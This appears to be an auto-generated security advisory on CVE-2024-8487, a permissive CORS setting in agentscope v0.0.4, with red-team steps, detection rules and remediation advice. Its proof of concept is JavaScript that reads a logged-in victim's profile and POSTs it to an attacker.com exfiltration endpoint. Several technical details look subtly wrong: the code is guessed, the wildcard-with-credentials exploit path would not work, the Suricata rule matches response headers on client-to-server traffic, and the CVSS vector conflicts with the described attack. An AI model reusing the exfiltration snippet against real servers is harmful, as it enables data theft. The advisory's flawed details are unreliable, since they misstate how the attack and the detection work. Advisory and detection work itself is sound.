CVE-2024-8487

Executive Summary

CVE-2024-8487 is a Cross-Origin Resource Sharing (CORS) misconfiguration vulnerability in modelscope/agentscope version v0.0.4. The server’s CORS policy is overly permissive, allowing any external domain to make cross-origin requests to the API. This flaw can lead to unauthorized data access, information disclosure, and potential further exploitation, compromising the integrity and confidentiality of the system. The vulnerability has a CVSS score of 7.4 (High) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No official patch has been released.

Supply Chain & Package Security

This vulnerability affects the PyPI package agentscope (version 0.0.4). As a Python package, it is distributed via PyPI and can be installed with pip install agentscope==0.0.4. The CORS misconfiguration is a server-side issue, meaning any application using this package as a backend service is at risk. Supply chain risks include:

• Dependency confusion: If the package is mirrored or forked, malicious versions could be introduced.
• Unpatched dependency: Since no patch is available, users must implement their own CORS restrictions or use a reverse proxy.

CVSS Breakdown & Threat Level

• CVSS Score: 7.4 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Sensitive data can be exfiltrated.
• Integrity Impact: None (I:N) – Data cannot be modified.
• Availability Impact: None (A:N) – Service availability not affected.

Threat Level: High. The vulnerability allows any website to read API responses, potentially exposing user data, session tokens, or internal configuration.

Deep Dive & Mechanics

The vulnerability stems from the CORS configuration in the AgentScope server (likely implemented in Python using Flask or FastAPI). The server responds with Access-Control-Allow-Origin: * or reflects the Origin header without validation, allowing any domain to make cross-origin requests.

How CORS works: When a browser makes a cross-origin request, it sends an Origin header. The server must respond with Access-Control-Allow-Origin matching the requesting origin (or * for any). If the server reflects the Origin header without checking a whitelist, any site can read the response.

Impact: An attacker can host a malicious webpage that, when visited by a victim authenticated to the AgentScope server, makes API calls on their behalf. This can lead to:

• Exfiltration of user data (e.g., profiles, settings).
• Theft of session tokens or API keys.
• Further exploitation of internal endpoints.

Example vulnerable code (Python/Flask):

from flask import Flask, request, jsonify
from flask_cors import CORS

app = Flask(__name__)
CORS(app)  # This enables CORS for all origins by default

Patched code (hypothetical):

CORS(app, origins=["https://trusted-domain.com"])

Vulnerable vs. Patched Code

Vulnerable (v0.0.4):

# In agentscope server configuration
CORS(app)  # Allows all origins

Patched (hypothetical):

# In agentscope server configuration
CORS(app, origins=["https://trusted-domain.com", "https://another-trusted.com"])

Explanation: The vulnerable code uses CORS(app) without specifying allowed origins, which defaults to allowing all origins. The patched code restricts access to a whitelist of trusted domains.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running AgentScope server (v0.0.4) accessible over the network.
• A victim user authenticated to the server (e.g., via session cookie).
• An attacker-controlled domain or ability to inject JavaScript into a page the victim visits.

Exploit Steps:

1. Host a malicious HTML page on an attacker-controlled domain.
2. The page makes a cross-origin request to the AgentScope API (e.g., https://victim-server/api/user/profile).
3. The server responds with Access-Control-Allow-Origin: * or reflects the attacker’s origin.
4. The browser allows the attacker’s JavaScript to read the response, exfiltrating data.

Proof-of-Concept (PoC):

<!DOCTYPE html>
<html>
<body>
<script>
fetch('https://victim-server/api/user/profile', {
    credentials: 'include' // Send cookies
})
.then(response => response.json())
.then(data => {
    fetch('https://attacker.com/exfil', {
        method: 'POST',
        body: JSON.stringify(data)
    });
});
</script>
</body>
</html>

Note: This PoC requires the victim to be logged into the AgentScope server and visit the malicious page.

Blue Team (Detection & Defense)

Detection:

• Monitor for unexpected Origin headers in API requests.
• Alert on responses with Access-Control-Allow-Origin: * or reflecting arbitrary origins.
• Use browser security headers like Content-Security-Policy to restrict script sources.

Defense:

• Implement a reverse proxy (e.g., Nginx) to enforce CORS policies:

location /api/ {
    if ($http_origin ~* (https://trusted-domain\.com)) {
        add_header Access-Control-Allow-Origin $http_origin;
    }
}

• Update the AgentScope server code to whitelist origins.
• Use SameSite cookies to prevent cross-origin cookie sending.

Indicators of Compromise (IOCs)

• Network: HTTP requests with Origin header set to an unexpected domain.
• Server logs: Entries showing Access-Control-Allow-Origin: * in response headers.
• Browser: Console errors or successful cross-origin reads from untrusted domains.
• File: Presence of CORS(app) without origins parameter in server code.

Detection Engineering

YARA Rule

rule CORS_Misconfiguration_AgentScope {
    meta:
        description = "Detects CORS misconfiguration in AgentScope server code"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-8487"
    strings:
        $cors_all = "CORS(app)" ascii wide nocase
        $cors_allow = "Access-Control-Allow-Origin: *" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CORS Misconfiguration - AgentScope
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects overly permissive CORS headers in AgentScope responses
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8487
logsource:
    category: webserver
    product: nginx
    service: http
detection:
    selection:
        response_header|contains: "Access-Control-Allow-Origin: *"
    condition: selection
falsepositives:
    - Legitimate public APIs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8487 CORS Misconfiguration - AgentScope"; flow:to_server; content:"Origin"; http_header; content:"Access-Control-Allow-Origin"; http_header; content:"*"; http_header; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict CORS: If you control the server, modify the CORS configuration to allow only trusted origins.
2. Use a Reverse Proxy: Place Nginx or Apache in front of the AgentScope server to enforce CORS policies.
3. Update Dependencies: Check for updates to the agentscope package (though no patch exists yet).

Long-Term Fix:

• The vendor (ModelScope) should release a patched version that whitelists origins by default.
• Implement a configuration option for allowed origins in the server settings.

Workaround:

• Disable CORS entirely if the API is only used by same-origin clients.
• Use SameSite=Strict cookies to prevent cross-origin requests from including credentials.

Valters IT Signature:
This report was generated by Valters IT – DevSecOps & Cyber Threat Intelligence Division.